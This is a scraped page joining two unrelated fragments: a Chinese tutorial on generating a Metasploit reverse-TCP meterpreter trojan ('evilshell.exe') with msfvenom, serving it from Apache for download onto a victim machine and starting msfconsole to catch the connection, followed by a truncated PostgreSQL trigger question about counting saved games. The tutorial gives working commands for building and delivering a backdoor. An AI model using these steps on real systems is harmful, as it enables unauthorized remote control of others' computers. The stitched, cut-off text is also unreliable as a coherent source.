使用 kali 中的 Metasploit 生成木马控制 windows 系统 Kali 基于 BT5 R3 ,其中 Metasploit 是一个综合利用工具,能极大地提高攻击者的渗透效率,进入该工具的方式: msfconsole , MSF 依赖 Postgresql 数据库,使用前需要开启该数据库。 Step1 :生成木马, msfvenom Msfvenom -p windows/meterpreter/reverse_tcp lhost=kali 的 ip lport=5555 -f exe >/root/Desktop/evilshell.exe -p 参数后跟上 payload ,攻击成功之后要做什么事 lhost 后面跟监听的 ip lhost 后面跟监听的端口 -f 后面跟要生成后门文件 Step2 :将木马文件 evilshell.exe 拷贝到 /var/www/html 文件夹下,开启 apache 在肉鸡上打开浏览器,访问该站点 =kali 的 ip ,将木马文件下载都肉鸡上 Step3 :开启 MSF Msfconsole (提前查看 postgresql 状态) =[ metasploit v5.0.41-dev ] + -- --=[ 1914 exploits - 1074 auxiliary - 330 post ] + -- --=[ 556

PostgreSQL Trigger after update of a specific column

我的未来我决定 提交于 2020-12-05 09:14:41
问题 I'm on my way of exploring triggers and want to create one that fires after an Update event on a game_saved column. As I have read in PostgreSQL docs it is possible to create triggers for columns. The column contains boolean values so the user may either add game to his collection or remove it. So I want the trigger function to calculate the number of games set to TRUE in the game_saved column for a certain user. And then update total_game_count in a game_collection table. game_collection id
